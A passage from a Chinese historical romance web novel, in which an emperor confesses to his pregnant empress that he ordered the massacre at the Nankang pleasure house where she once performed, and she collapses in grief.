乾元帝说是,他已经决定让崔二在越州再呆上两年,崔二为人不懂变通,是根硬骨头,越州是高家祖地,一朝破败,各方都想捞一口热饭吃,平常职缺罢了,利润油水大的部门全都是朕的! 国库让前朝消空了,他这个皇帝平个叛乱都得节省着来,实在窝囊。 说罢这个,又提及一事。 “这回高家私挖京西铁矿运往海外一事,杭州商会其中一个分管事功劳甚大,若非是他将运铁矿的大船路径偷偷告知于水师总兵,还不知江南之乱要持续多久。” 崔雪朝停住脚步:“杭州商会?” 恰好是一个观台,乾元帝往湖塘搓撒鱼饵料,“是,奏报上说此人名唤姚安泰,在商会不显山不露水,原是分管几处水埠货运,也不知何时留意到商会在跟叛军暗中来往,一举揭发,整个杭州商会上下现在唯此人号令。” 随着他讲起的细节更多,一张老实的方脸浮现在崔雪朝脑海中。 袁望回眸看她:“走累了?好端端,怎么发起呆了?” 崔雪朝浅笑一下,长廊尽头童公公促步走来,观其神情似乎又有急事要他去过问,“我先回去了。” 袁望心下失望,目送她一点点走远,身影消失在月洞门的那一刻,轻松的面容瞬间变得难看。 她没有坦白自己跟那姚安泰的关系! 为何?隐瞒是否意味着还在介怀? 第55章 姚安泰就是从前跟我成过…… 童公公上前回话, “陛下,锦职司罗大人到了。” 杭州商会在南部的地位举重若轻,一个不起眼的分管事上位成了话事人, 乾元帝自然得派人去查查底细。 他派了正使去, 一是带去了赏赐,赞扬姚安泰的义举。检举了运输铁矿的航道, 本质就是切断了叛军兵器辎重补给,真正从后方断了叛军生机。 此等功,除去照例的金银绸缎封赏,为彰显皇恩, 乾元帝还颇为大气地封姚安泰为嘉义伯。 天使去颁发旨意, 锦职司的人去探查姚家在杭州的大小事情, 意在明朗姚安泰此人可否胜任杭州商会会主的缺儿。 这一查,旁的本事先撂下不说, 与姚安泰几年前和离的夫人真真吓得罗大人连夜飞鸽给望京传信。 “姚家祖上最高曾出过一位当五品文吏的盐运使,积累家业, 至姚安泰这一代衣食丰殷, 小有家财,在杭州本地算一门小望之家。姚安泰此人身只六尺余, 貌不惊, 十八起前后下场考功名有六次, 次次不得中。” 乾元帝适时扯个很不屑的笑容。 十八起科举,六次下来,十八年连个最基本的秀才身都没有,可见其人学识甚一般。 他换个松闲的姿势,示意继续。 罗大人:“至姚安泰这一代,一家三房, 以姚安泰所在的大房为主枝,五年前,姚安泰之父过世,姚安泰与其余几房的人斗法赢下家主之位。” 乾元帝:“哦?他还有此等本事?细说此事。” 罗大人弓着的腰越发低了,“姚家大房子嗣不丰,姚安泰三十好几却膝下无子,曾有一妻病重过世后一直未有续弦,外人传言姚安泰与那亡妻感情深厚不愿再娶。其父过世,二房三房的人以姚安泰身后无人为由发动宗祠易宗大会。 就在宗亲抹去姚安泰继任家主身份之际,有位来自南康红袖招的女家领着一个两岁的儿子上门认亲,说自己早年与姚安泰曾有一子后来姚安泰娶那位女家为妻,二人之子认祖归宗。” 罗大人越说头上的汗珠越多,斟酌言辞谨而又谨,可有些事情陈述起来便是再小心,都会犯到陛下的忌讳。 果然,他话音落地,偌大的殿內久久没有声响传来,一片死寂中,罗大人听见上座帝王寒彻如冰的声音:“那女家是出自何处?” 罗大人战战兢兢:“回陛下,是南康城的红袖招。” “她在红袖招做呆了多久?” 罗大人:“自前朝末帝十年夏五月起,签琵琶女乐的工契,三月后某个豪客因其乐艺掷百金,得以脱身。” “既是脱身,又为何卷入姚家?” 乾元帝语气艰涩,深吸口气:“那个两岁的儿子又是怎么回事?” 罗大人:“微臣在杭州时曾看过那位小公子,其长相与姚安泰和”他打个磕绊:“与其名义上的双亲并不相似,街巷中亦有传言此子并非姚安泰血脉,但姚安泰坚称其血脉不存疑,且为此打杀过一批家仆,如此才压下流言。” 他此言,只是某种粉饰,乾元帝听出其中仍存疑云,但牵涉一家私隐,除非羁押扣审,外人无法知晓内情。 “至于女家为何卷入姚家,微臣只查到姚安泰早年住在南康外祖家中,时常混迹于南康大街小巷。” 如姚安泰这样读书不行的小资公子,混迹于青楼间并不纳罕,结缘几位粉红佳人也在情理之中。 但罗大人亦还有话:“陛下,当年勇毅将军奉您令南下江淮筹借粮草却在南康遇刺身亡一事,陛下可还记得?” 闻言,乾元帝恢复正坐,“为何提及此事?” 罗大人:“那位女家牵涉甚广,微臣不敢小视,便衣去南康一查,才知当年勇毅将军遇刺之地便是红袖招。楼中幸存的管事酒醉后与臣说,那晚勇毅将军不顾红鸨再三劝阻,强要一位乐娘随军伺候,那人乐娘不从。混乱之中不知是谁,以头簪刺入勇毅将军后颈。” 不知是谁真的不知是谁吗? 再之后发生什么,罗大人闭口不再多说。 乾元帝脑中一片空白。 他记得此事。 当年战事粮草不续,他下令让勇毅将军南下,必要筹借两万旦军粮,若事不成,勇毅提头来见。 后来他见到了勇毅的头颅,脖颈破了豁口。 当年以为勇毅遇刺乃江淮之地不肯施借粮草,震怒之下,吩咐帐下军士杀! 那时自己满心悲愤,北地惨遭胡部铁骑镰刀,荒芜不生。南部军民偏居一偶,歌舞升平,淮水两岸的河源沁润一层厚厚的脂粉香,散发腐臭的糜烂味道。 那一夜,他站在鹭洲头,只是轻抬手,乔装而来的上千铁卫如恶鬼般扑向灯火通明的红袖招。 嘶吼声、求救声、凄厉、撕心裂肺的喊叫声 他觉得这是正义惩戒,大火漫天。 离开时,上百艘军粮船随他一起。 乾元帝缓慢地站起,用力撑在桌角,似乎晃了一下,童公公担心地伸手,却见陛下挥开他的搀扶,不顾殿內还有外臣,轻一脚重一脚地往后宫方向离开。 坤宁宫安逸美好,秋日里午后的阳光并不炙热,晒到人身上暖融融的,但乾元帝却觉得自己好冷,从里到外的恐惧。 一路走来,感觉不到自己的腿,脑海里一片空白,想问什么又不知能不能开口。 迈进坤宁宫的大门,迟钝的听觉恢复如常。 他僵立在殿外,听见屋内她温和的话音,好半晌,意识像个上锈的齿轮开始转动,是她在教汉王读史书。 她读《史记》,说《项羽本纪》,说他起兵反秦之暴政。 讲述项羽项梁举兵吴中八千。巨鹿之战。 项羽举刃先入咸阳,烧秦宫室,阿房付之一炬。 汉王发问:“好好的房子,他为什么要烧了?起火了,里边的人怎么办?” 五岁孩童稚嫩单纯的一问,像把雪亮的刀子直直扎进窗外人的心里。 “嗯项羽取秦而代之,秦始皇修建的宫室恢宏,就如同秦政的某种化身,项羽烧之也是在告诉世人,秦的统治和宫室一样,都会化作灰烬。” 汉王:“烧了,别人就会跟随项羽吗?” 纯善的孩子并不知烧宫室之前,项羽已经屠杀秦国贵族八百余人、文武官员四千众,街头曝尸满地血污。 “焦土一片是项羽震慑民众的手段,仁或许能抚顺人心,但那需要很久。威胁与暴力是最快压制民心服从的手腕。” 汉王想想:“父皇当年也烧别人家房子了吗?” 窗內稍有片刻静默,乾元帝不知这份静默下是否代表着她在回忆当年的经历,是否会因此改变自己在她心中的地位? “你父皇也烧过,还烧了不少呢。” 汉王:“那父皇是坏人吗?” “改朝换代无法用好坏来评价。若把一个人生平经历全都放大看,让人来评定好与坏,那世上人人都有瑕疵。” 崔雪朝拿起汉王袖袋,“好比这个袖袋上的绳索,你不小心挽成死结,要想拿到里边的糕点便要剪断这股金丝索,金丝索一断就无法再用。这般说,你是不是就成了坏人?” 汉王不肯做坏人,“父皇烧别人家房子肯定是有理由的,他不是坏人。” 崔雪朝不想说太深,笑着翻过一页书,正欲开口,门前突然有个身影闪过,于是抬头去看。 门口的人背光站着,殿內地上投下浓重的阴影,汉王莫名打个寒颤,正要起身给父皇请安,却见父皇猛地转身大步下了台阶。 汉王看着父亲略显慌乱的身影,困惑地与母后对视一眼。 崔雪朝宽抚汉王继续读书,漫步出了宫殿,问过方才陛下在门外站了多久。 万姑姑说从您给汉王殿下读书开始起,陛下就在了,只是一直沉默不语,也不叫人进去给娘娘通禀。 万姑姑只瞧见陛下阴沉着脸,“汉王殿下说陛下不是坏人时,陛下突然仰头了”她迟疑了下:“似乎是哭了。” 崔雪朝:“哭了?” 万姑姑嗯了声,她确信陛下眼角流下一行泪来着,“莫不是陛下听了汉王殿下的话,感动不已,情至深处就不自觉落了泪水?” “不大可能。” 崔雪朝探头看眼殿内,汉王没在看书,正绷着小脸费力地解着袖袋上的死结。 思来想去没什么头绪,想着说当晚亲自问问。 哪想童公公来传话,说前朝事务繁忙,陛下有些忙不过来,这几日就不在坤宁宫歇着,让皇后娘娘不必担心,好生养胎。 这几日 崔雪朝客气地送走童公公,给万姑姑一个眼神。 万姑姑出去片刻,回来时已然上灯:“通政殿不曾传嫔妃前去。” 稍稍放心。 隔日崔家递了请安的折子,是三房的婶娘递上来的,崔雪朝准了。 等人进了宫才知是三房有了喜事。 三房婶娘秋香莲磕头见礼后坐好,“娇娘那孩子沾了娘娘的福气嫁给赵家,三朝回门时臣妇瞧婿子周正又懂礼,浑不似武官家的公子,像个贤秀子,夫妻两个夜里避开人偷着乐呢。” 屋内气氛也很欢快,阿屏给三夫人奉上茶水,说这是江南贡茶,给夫人尝个鲜。 三妇人笑呵呵地谢娘娘赏,像模像样地抿了几口,夸过好茶,继续道:“月前诊过来,赵家来人传信,家里就说得跟娘娘说一声,当初要不是有娘娘的情面,娇娘如何能有今日的美满。” 一边说着,一边从袖子揣出个小锦盒:“这是我昨儿去观音庙里求来的诚念符,很有用,保准一举得男!赵家那头送了一个,今儿也给娘娘带了一个。” 其实男女皆好,不过长辈殷盼起来都指望得男,也是想着姑娘在婆家少些为难。 这是好意,不必太过强词,于是示意万姑姑收好。 三夫人又道:“原是前几日来,恰好莲清的亲事也有了指望,这才耽搁到今天才来。” 一问,三房的莲清本就不是读书的材料,今年春天的举人没过自己倒丧,三房夫妻两个渐渐认命,儿子的天分就那点,整日拘着家里反倒磨得孩子快疯了,便让他忙活起家里的铺子经管。 莲清一个十七八的孩子在外头,总也是风筝调子,三房夫妻两个一合计,还是得尽快给说合一门亲事,省得莲清在外头玩野了。 哪曾想夫妻两个没发力呢,莲清自己回家跟爹娘开口了。 “他呀相中了仲家的五姑娘。” 话音一落,崔三老爷原地蹦老高,指着莲清鼻子就骂你痴心疯了! “娘娘,您说咱们家跟仲家在朝堂上从来都是左右分站,大哥顶门户撑家业多艰辛,三房没出上力不说,还出了莲清这个叛徒!” 崔雪朝轻咳笑了,“三婶娘这话严重了,莲清一个孩子不至于乱到两家公事。” 话是这般说,诚如那井水是不犯河水的,崔家跟仲家天然上就是两派,若是结了姻亲,落到陛下耳朵里只怕不爽快。 “臣妇在家劝了莲清几日,谁知他软硬不吃,气得他父亲大棍子抽了一顿。他瘫在床上养伤吃喝不愁,牵连做爹娘的不知如何是好,只好来娘娘跟前求个准话。” 能求什么准话? 不过是瞧着娘娘在陛下面前得脸,想让娘娘从中说和一二。 仲家是清流,五姑娘虽是庶的,却是仲毓长子之女,娘娘的父亲是个不肯为家中子弟广开做官门路的严苛人,莲清公子考不得官,又被长房在官场放了话寻不到门路,自然很想走走翁婿的交情。 万姑姑见娘娘不语,便道:“那仲五姑娘是何意思?” 三夫人很骄傲:“莲清说仲五姑娘对他爱重得很。” 万姑姑看向皇后:“再过两日便是中秋宴,官眷命妇们入宫,到时娘娘不妨与仲家人聊聊,顺带瞧瞧那位仲五姑娘。” 这话让崔三夫人心中大定。 有闺女的事情在前,只要皇后娘娘出面,三夫人很有把握儿子与仲家的亲事能成。 真论起来那仲五是仲家人不上心的存在,成全小儿女,无可厚非,大不了三房多给些聘资罢了。 让人送了三夫人,崔雪朝莫名有些失笑。 人性无法定论,总有人觉得自己有资格得寸进尺。 她慢悠悠在院中散步,阿屏从屋内取了件披风给娘娘裹上:“秋凉得快,阳头一偏就觉得凉了。” 挽好绳结,又撅着嘴嘀咕了句:“陛下已经五天没来看娘娘了,前朝就那么忙吗?” 崔雪朝愣了下,似乎没想到都过去五天了。 寻了个说法:“高家在前朝时便是第一世家,它倒台牵连到好些地方,忙也正常。” 再忙吃顿饭的辰光都没有? 阿屏瘪了嘴,还想说什么,触及到一旁万姑姑的冷眼,只好作罢。 上夜去了小厨房跟秦姑姑偷摸念叨。 秦姑姑的身份不必做看灶台的粗活,只是她岁数上来觉少,瞧着小宫人们不容易,常常催撵她们提前去睡。 暖暖的塘火烤着人脸,秦姑姑听阿屏说:“娘娘嘴上不说,但心里肯定惦记。从前也不叫人送汤水到通政殿,这回一天连着两回吩咐宫人去送。陛下倒也用了,每回还打发童公公亲自来送食盒,还有些稀罕的玩意送来给娘娘解闷,偏偏自己不来!” 话说着突然奔进来一个宫人,脸上喜气满满:“陛下来了!” 秦姑姑忙问:“可要吃食?” 宫人说不曾,阿屏坐不踏实,顺着廊道小跑着去前头伺候。 结果到了一瞧,屋子外头空荡荡的,一问,陛下在屋中呆了一盏茶就起驾回通政殿了。 阿屏:“娘娘呢?娘娘见着陛下了吗?” 守夜的摇头,“娘娘一直睡着呢。” 阿屏失望不已。 隔天崔雪朝知晓陛下深夜在自己床头坐了一盏茶,又闷不啃声地走了,觉得古怪。 “幸亏娘娘睡得沉,这要是一睁眼瞧着床头杵那个大个人,可不得惊着了。” 万姑姑无奈看看阿屏,这小丫头在外头行事尚不至于轻浮,就是每回在娘娘跟前口无遮拦,想说什么就说什么。 陛下是天子,娘娘未起身接驾已然算是陛下宠爱,贴身宫人反而不知轻重地视作理所应当,传出去不知引起多少对娘娘的非议。 今儿晨起胃口不佳,浅浅吃了些,端下去的膳食让秦姑姑很担忧。 吩咐了小厨房的差事,秦姑姑换了身新衣裳去到皇后娘娘跟前,见娘娘坐在亭台上烹茶吃,神情淡淡,眉间却隐有愁气 “陛下跟娘娘的这几月相处,倒让小人想起夫人刚嫁进崔家的时候。” 亭台里只有她们三人,崔雪朝见秦妈妈主动提起母亲的事情,知道她是来宽慰自己的。 看了某一页太久的书放在桌角,在秦妈妈寻了一个蒲团坐在自己身边时,她甚至有些委屈,“我也不知道他怎么了。” 穿着皇后常服的姑娘在外头很有派头,到了秦姑姑跟前,那身上满绣的凤凰似乎也成了小家雀。 秦妈妈眼神柔和:“姑娘聪颖通透,真的不知道陛下这几日的异样吗?” 崔雪朝眨眨眼,抿了抿唇,似乎很难为情:“只是有个猜测。” 秦妈妈和阿屏一左一右地盯着她,等她后话。 “前些时候,杭州商会有个姚安泰为平乱南边的叛军,立下不小的功劳。”她抚着手腕上的念珠纹路,声音压得很低:“姚安泰就是从前跟我成过亲的男人。” 什么! 秦妈妈立时意识到事情的严峻! “陛下知晓”顿了下,联想到陛下对娘娘的突然冷淡:“陛下定然是知晓了。” 不过秦妈妈又很迷惑,“按理说姑娘前缘,陛下也不是不知道,为何近日突然翻脸?” 思来想去,许是从前那姓姚的不在眼跟前,不当回事。而今那汉子蹦跶出名号,一查问,竟然和自己女人有牵扯,属于男人的占有欲上脑,一时又忌讳起来? 秦妈妈瞥见皇后泫然欲泣的样子,很是心疼:“娘娘如今怀着龙胎,陛下也太不知轻重,这时候发的什么狗脾气?” 躲在暗处偷听的万姑姑额角直蹦跶,跟着皇后来的两个心腹好像从来不懂尊卑的道理,在她们眼中,天大地大,皇后大,就连陛下来了都得往后稍三里地! 不过这份护短,逗得皇后娘娘噗嗤笑出了声。 秦妈妈也臊眉臊眼地舔舔唇,阿屏敬佩这老妇,提起一旁的壶梁给她倒了一盏温茶,“那您说怎么办?” 秦妈妈瞪眼这个不会当差的,看向皇后娘娘时换个语气:“娘娘挺着大肚子,天塌下来也不用怕。从前崔大人在家时跟夫人岔架,哪回不是大人给夫人赔罪。依着我的意思,陛下当初娶您当皇后是胸襟宽广的大男人之举,既是大男人就该从一而终,他若是欺负您,您不必伤怀,原也不是您的错!” 阿屏捏着拳头助威:“就是就是!嫁过人怎么了?我以后也要嫁两次!大不了娘娘不开心,咱们去博川山!” 崔雪朝受了话语鼓励,很振奋,不过振奋了没两个呼吸,又萎靡了:“若是知晓姚安泰,必然知晓我从前的事情。” 这程子,阿屏比秦妈妈知道的多。 攥紧的拳头不攥了,“姑娘在红袖招卖艺的事情?” 秦妈妈一听红袖招就傻眼了,忙追问是什么内情。 阿屏长话短说,过后伤感起来:“自那之后娘娘再没碰过乐器。”碎话一堆儿说了起来:“每次说起这事儿,夫人都要哭好一阵,觉得是自己牵连了姑娘的名声。好好的良家姑娘去了浑浊地卖艺,男人堆里挣钱多不容易!,可一说起姑娘上台时引得满座叫绝,夫人就很自豪,说天下谁人都没有咱们家姑娘本事大!” “南康到外埠的大船,二层有厢房的房间,两人卧,附带吃食沐浴,合计二十两!” 阿屏学着夫人的语气,“小阿屏,你知道我的汀溪用了多久就赚到了嘛?三个月!” 崔雪朝被她怪里怪气的话语引得发笑。 这些话从前阿屏没有说过,所以她不曾知道母亲原来对她在红袖招的经历竟是如此想法。 秦妈妈后知后觉地拍下大腿:“怪道我觉得姑娘跟从前不一样。原先姑娘在家时常在乐房里打转,那时夫人还打趣说姑娘莫不是琵琶精或是古琴精转世。这么久了,我还当是您大了,对那些琵琶锣鼓的厌了呢。” 沉默片刻,秦妈妈道:“这事儿娘娘不必觉得丢脸。说句粗话,在乡下,娘们家有个手艺,那是顶有面的事情。就说我家从前有个会吹葫芦肚的,逢人家办丧事,都请她去。上晌下晌吹一程子,一天能有十来个大钱。” 十来个大钱,那就是一斤猪肉! 换算下来,姑娘卖艺三个月,给夫人和老爷换了那么舒展的船票,秦妈妈眼神敬佩:“您是纯纯的大孝女!!” 闷结在心里多年的结子渐渐有了松动的痕迹,崔雪朝仰靠在布台高枕上,“我其实也不觉得自己过去呆过红袖招很丢脸。” 只是那尊贵无比的人知道,会不会瞧不起自己? 从眼下的情形来看,他的确在疏远自己了。 不免有些难过。 阿屏年纪小阅历不多,自然没能听出皇后此话深处的不安。 秦妈妈反而很懂,“诚如夫人当年以商贾之女的身份嫁给大人,那时大人虽不显名,却是殿试出来的好前程,外人并不看好两人的亲事。成婚几年夫人迟迟未有身孕,恰逢那时崔老夫人要给大人纳一书香门第家的姑娘做侧房,夫人也如您这般思虑担忧。” “您是把陛下放在心里了,且放得很重!” 爱意浓厚,自然不想让对方知道自己不好的一面。 这一句话,有拨云见日的奇效。 崔雪朝鼻头一酸,就这般突然落泪下来。 “原来是这样呀。” 当初进宫时明明再三警醒自己不可沉迷于他的手段,要有随时抽身的理智,要做个通透的女子不受情爱负累。 这才过去多久,自己像个傻瓜,泥足深陷,而他却在岸边,两脚不沾一点尘秽,冷眼看着自己。 或许他后悔了? 昨夜坐在自己床头望着自己时,莫不是存着偷偷笑话自己的私心? 越想越发崩溃,忍不住扑到秦妈妈怀里,嚎啕大哭起来。 秦妈妈拍着她后背安慰起来,“伤心哭一场也好,哭过了,看清男人的嘴脸,姑娘还是经年不倒根的常青树,不做这皇家的菟丝花!” 这话传到万姑姑耳里,立时惊呼要遭。 任由这般发展,皇后娘娘得被两个偏心眼的下人劝成带刺的玫瑰。或许一个气性上来,恰好博川女学在筹办,皇后娘娘撂挑子不管后宫直接甩手走人呢? 惊惶着,又听高台上传来阿屏义愤填膺的鼓动:“姑娘别伤心,大不了您跟陛下和离吧!反正京郊的田庄还在,我和秦妈妈绝对不贪恋这宫里的一草一木,跟着您吃糠咽菜都行!” 万姑姑眼前一黑,腿软不已地直奔宫外。 到了通政殿,上气不接下气,童公公瞧她这样,自当坤宁宫出了大事,忙去通禀。 稍过片刻,乾元帝神情匆忙地过来,幸而此时未有大臣在,万姑姑碎步跟在陛下身边,简化方才坤宁宫的主仆言论,尤其是阿屏和秦妈妈的某些言语,绝对不能泄露。 前因后果被皇后身边的仆从颠倒着说,乾元帝胸口窝起好大一团气。这几日他不是刻意要疏远坤宁宫,只是每每想去见她时,锦职司调查出来的东西就在自己眼前浮现。 她给汉王说项羽,通情达理地认为焚烧是正义手段,在他听来,明明是足以松口气的。 她懂项羽焚烧阿房宫的目的,自然也理解自己当年灭红袖招满楼的出发点。 当年那场火,他从来没有遮掩是自己犯下的,她定然有所耳闻。 她对他没有仇恨,更没有怨怼,往事不必提及。 那件事的发生或许将她推到险地,所以不得已之下她选择与姚安泰合作,以贱籍身带着姚安泰弄来的孩童出现在杭州姚家。 始作俑者,原来是他! 如果没有他在红袖招的杀伐,或许她会筹够钱随双亲离开南康,同往外埠生活。 她那样果决勇敢的人,一定会坚定地保护好自己的母亲。 是他害得她与母亲天人永隔,与父亲离心,是自己害得她家不成家,破碎不堪。 甚至最开始看到秀女名册出现和离之身的女子,他理所应当地认为她不配为妃嫔。 那时他还看低她。 他那时的轻视成了回旋镖,扎得他自觉无颜出现在她面前。 只有深夜无人时,偷偷去看她一眼。 一边为她宁静的睡颜悄然,一边很痛苦,加害者有什么资格出现在受害者面前? 他怎么有脸去索求她纯然爱意的眼眸? 路上宫人回禀。 听到她坦诚自己在心中的分量,乾元帝有一瞬间酸涩得想落泪。 坤宁宫就在眼前,而他突然少了彷徨的心。 他做了五日的懦夫,她的患得患失是假象,她值得一切真相! 进殿才知,她哭了很久,累得睡下了。 跟前伺候的小宫人被扯到廊下,这次袁望选择坐在踏板上,眼神不错地盯着依在床上的人。 眼前掠过一幕幕,是她在众秀女中偷食的灵动,是她在人群中朗声夸耀自己的神情,是她倔强不肯低头抿起的唇,是她凤冠霞帔,是她在明园时目光流转间对自己不自觉的爱 就在这一刻,他突然明白为何母亲会变得疯魔会不顾幼子遁入空门。只因得到时太美好了,他仅联想要失去她,就有落泪的冲动。而母亲真真切切地被剜走了心。 愣神间,似有所觉,抬眼就见床上的人不知何时醒了,迷茫的眼眨了眨,似乎有点不敢相信。 不过很快,那份迷惘褪去,冷意漫上。 袁望知道,那是她两个心腹的功劳。 “还困吗?” 崔雪朝摇摇头,撑着身要下地,才发觉他这么低是因为坐在脚踏板上,不过他生得高大,即便如此坐着,还是能到自己肩头。 正要喊人,他已经握上自己的脚,从一旁探过缎鞋,细致地给她套好。 这也不是他头一回给自己穿鞋,只是当皇帝的坐在脚踏上,让宫人瞧见了难免折损他的脸面,故而不再发声。 话不说了,心里又在打鼓,临睡前还说自己往后见了他要做个冷酷无情的大乾皇后,端起从前放下来的繁琐规矩,见面时对他一定磕头一定保持三尺距离。 哪曾想一睁眼,像个听话的猫崽,任由他大手捏住自己的后颈不敢乱动! 鼓了鼓脸颊,觉得自己太没用了些。 所以站起身,眼风不给他一个,高傲地抬起下颌往妆台前自顾坐了。 镜子里倒映出他坐在床沿的身影。 崔雪朝一边通发,一边觉得稀奇,他怎么垂着头不说话?看起来沮丧得很。 “前朝可好?” 她冰冷地问。 结果换来一声心不在焉的‘还行’。 她把犀角梳子很用力地放回妆匣,这么大的声音还不见他抬头,于是坚定了他在自己甩脸色的念头。 秦妈妈说的对,有气就撒,憋在心里只会委屈自己。 “几日不见,陛下来坤宁宫一趟不声不语,是给臣妾不痛快的?” 这话打在云团里,换来他不言语的起身,站在妆台一侧渗渗地垂看自己。 过一会儿,她忍不住要起身避开这目光时,见他深深吸一口气,像是下了某种决心。 “我让人去查了姚安泰的生平。” 崔雪朝顿了下,双手环臂,眼神戒备地看着他:“所以呢?” 她以为他要动怒,却不想个头奇高的人突然单膝跪在自己身前,万分惭怍,“红袖招的那场劫杀是我指使手下去做的。” 他以为开口坦诚,是戳破了两人心照不宣的窗纱。 却不想,这话引得她眼神空白了好一会儿,嘴唇轻颤,好半晌未语泪先流了满脸:“你你说什么?” 某种猜测浮上心头,袁望震愕,瞪大眼睛看向她眼中:“你不知道吗?你为什么不不对!你”他气不成音:“为什么你会不知道?” 紧随而来是他的惶恐,如果她不知情,自己此刻的坦诚无异于是在撕开她心头的伤疤! 他咬牙再三斟酌,却被一股大力狠狠攥住肩头,“把你刚才的话再说一遍!” 心知这事儿一旦开头,断没有中途再遮掩住的可能。 只好让她莫急,一边缓着说:“当年我派人去南边筹粮” 随之他话音的展开,往事一幕幕翻上湖面。 她知道自己杀了一个当官的,惹祸了,但当年姚安泰在南康有些本事,早早把自己接走藏了起来。 听到他轻飘飘的一个杀,红袖招满楼一百一十八人死伤过百,想起那年她在城里望着红袖招楼里的黑烟,崔雪朝忍不住打个寒颤。 “是我是我杀的人” 她呢喃着,眼泪糊满眼眶看不清他的脸,但她顾不得那些,渐渐撕心裂肺起来,只一个劲喊‘是我’! “不怪我!是他非要拉着我走,我不愿意,他把红嬷嬷推下楼,又让手下杀了楼里的打手!是那人先” “我知道,我知道。” 袁望扶着她臂膀,见她脸色瞬间霜白,扬声喊‘去传太医’。 她沉浸在痛苦中,听不得他敷衍,恨恨地让他看自己,“一百来条人命,全是可怜人!他们我们只是想只是赚钱,没有害过人!是我杀了那个人,是我” 说到最后,她抽噎着搡开他的拥抱,“你走!你走!” 他也在哭,却不肯放她离开,牵绊着衣袖,让她体谅自己当年的苦衷。 崔雪朝心头大恸,用力抽回自己的衣袖,下一瞬世界翻转,在一片惊呼下跌入黑暗中。 第56章 别再鼓动你主子跟朕分开…… 再醒来时, 暮色四合,昏暗的拔步床帐帷上投映出近处人的浑然轮廓。 见她醒了,袁望吩咐端茶来, 阿屏送来一盏参茶, 靠在不远处担忧地瞧着陛下亲自扶起娘娘,动作细致又温存, 幸而清醒后的娘娘不再如先前那般歇斯底里,垂眸一点点喝完。 “太医说你是骤然情绪激动,一时发昏,那程子我喂了点安神的补汤, 所以你才睡了这么久。”袁望见她不肯看自己的眼睛, 心下酸涩, 犹豫几番,还是没再提及前缘, 吩咐下人传晚膳。 平常这时分崔雪朝早已用过晚膳,一碟子一盘的东西如流水般送到床畔, 袁望给她舀了一盏鱼燕, “昨日你吩咐小厨房送来这道菜,我吃着不错, 方才便吩咐她们预备下了。” 这话乍听着很温馨, 实则藏着他小心翼翼的试探, 盼着她看在两人过去的爱意相处对他别太冷漠。 旁的不敢奢求,肯接下他的呈递就是灵药。 崔雪朝呢,看着那热气袅袅的盏,真希望那汤水烫一点,自己不接,在他手上烫刺刺的红才好。 一点烫罢了, 当年红袖招的姑娘们死的死,伤的伤,没逃出来的最后蒙着白布叫官府的人摆在街口,让家里头的人来认尸。 她躲在巷子口,不敢去看,耳边全是老人孩童伤心嚎哭的声音。 深吸一口气,不能深想,一想就觉得喘不上来气。 不过也知道送到自己跟前的东西是正好入口的温度,如何能烫着他? 且怪她不争气,他伏低做小的伺候,面容上充斥着拘谨,又不由自主地觉得他可怜。 于是接过那盏鱼燕,余光注意到他长吁口气,有种释怀的轻松,连近处伺候的阿屏和万姑姑都露出笑来,一方寝居突然风雨过去的晴朗。 但那晴朗是他们自以为的,沉重还在心头,崔雪朝吃了不多,就没什么胃口。再强咽只会引来反胃,于是放箸示意撤下吧。 很快眼前干净下来,崔雪朝漱口过,就见几步外的矮榻放着自己未吃完的膳食,那人高高大大的窝在那里,看似背朝自己连筷子头碰到的响声都压着不敢发出,实则不经意地在给自己展示他的示弱。 他的示弱是害怕失去自己,并非觉得当年有错…… 而自己也是个懦夫,当年在南康卖艺,自以为前半生经历丰富,从京城逃出来一直没叫御监司的人捉回去,以为风餐露宿的苦就是最大的苦。 结果背上了人命,当年连累了满楼的无辜人,她吓得不行,不敢回租赁的小院找父亲母亲,怕被凶徒寻上门,姚安泰于心不忍,安慰她说不必担心,他会尽力补偿那些死者家里。 “听说你给姚安泰封了伯爵身?” 袁望背对她的身影一僵,没料到她开口第一句话就是说到前夫君,有些气窒,不得不放缓声线:“他有功。” “再赏姚家些金银吧。”崔雪朝道:“当年一座红袖招,姚安泰事后花了上千两银子安顿那些无辜人的家眷。他当年虽有小资,上千两银子掏得也不容易,还去利市赊过红本账子。总归是我欠下的。” 袁望嘎吱嘎吱叫着脆梗苋菜。 她说是自己欠下来是在点自己呢,他心里都懂。好吧,是有些愧疚,呵呵,不多,也就一分吧。又觉得她话语中的‘妻债夫来偿’,未尝不是跟姚安泰切割的表现。 嗓子眼里闷闷的嗯了声,扒拉口饭,又听她道:“陛下吃过了就回通政殿吧。” 袁望很想反口质问一句‘凭什么’,这满天下都是他的,连她和她肚子里揣的崽子都是他的,凭什么让他走。 “陛下这几日不是借着政事忙,不肯来坤宁宫嘛。” 似乎是从他停顿不食的动作中看出他的不满,崔雪朝冷不丁刺他一下:"这会儿又不觉得理亏了?" 嘎吱嘎吱声又继续了 袁望含糊地说:“你怀着身,我总不能不看你。” 然而小撒气似乎突然撕开了满心的愤懑,崔雪朝凉凉笑了声:“臣妾不敢挡了陛下的雄图霸业。”满楼红袖招是引线,诚如他的担忧,骤然知晓当年真凶是他,崔雪朝大惊之下不及细想,然而此刻安坐一堂,他身形的每一道弧钩都藏着人命。 他破毁了自己的人生轨迹,没有当年那场大火,她就能跟着父亲母亲同船离开,住在外埠会与母亲陪伴,父亲也不会成为陌路人,弟弟也许能安然落地,一家四口团圆美满。 多美好的画面呐。 母亲头七的那夜,她跪在灵堂,有一瞬间想就这般跟着母亲去了也好。 孤寂的世界活着有什么意思。 是阿屏看出她不对劲,拿出母亲写给她的书信,那一张张信里有母亲对她的思念,有母亲对女儿未来人生的期盼,盼她婚后顺遂夫妻和睦早育子嗣,享人间安乐。 她无声哽咽了下,猛的掀起被子躺下,翻过身不肯再看他一眼,沉浸在往事里哭了满枕的湿。 朦胧间脚步声响近,床发出一点细碎的声音,温热的帕子不容她反抗地擦拭掉她面上的泪痕。 半晌,殿内传来他轻淡的声音:“我不必用谎言来哄你开心。当年红袖招一事,再来一回,我依旧会下同样的命令。” 崔雪朝难以置信,低吼一声‘你滚!’。 袁望听见她的痛苦,懂得她的心魔,依旧矢志不移地开口:“我也不会为自己的杀伐冠上大义的名号,我坦诚,那一年勇毅之死经历过初闻的震惊,其后我更觉得那是良机。” “末帝的爪牙操持江淮富庶之地,他们是前朝昏聩暴政的真凶之一,我起义军,可以杀人,但不能滥杀,以免丧去民心。勇毅之死成了由头,我的刀锋顺着那点缝隙一点点撬开江淮财贾的壁垒。” 他抚上她的肩头,“我必须得绝了前朝末帝南下逃亡,在南康建立新的王朝,与我分庭抗礼的可能。” 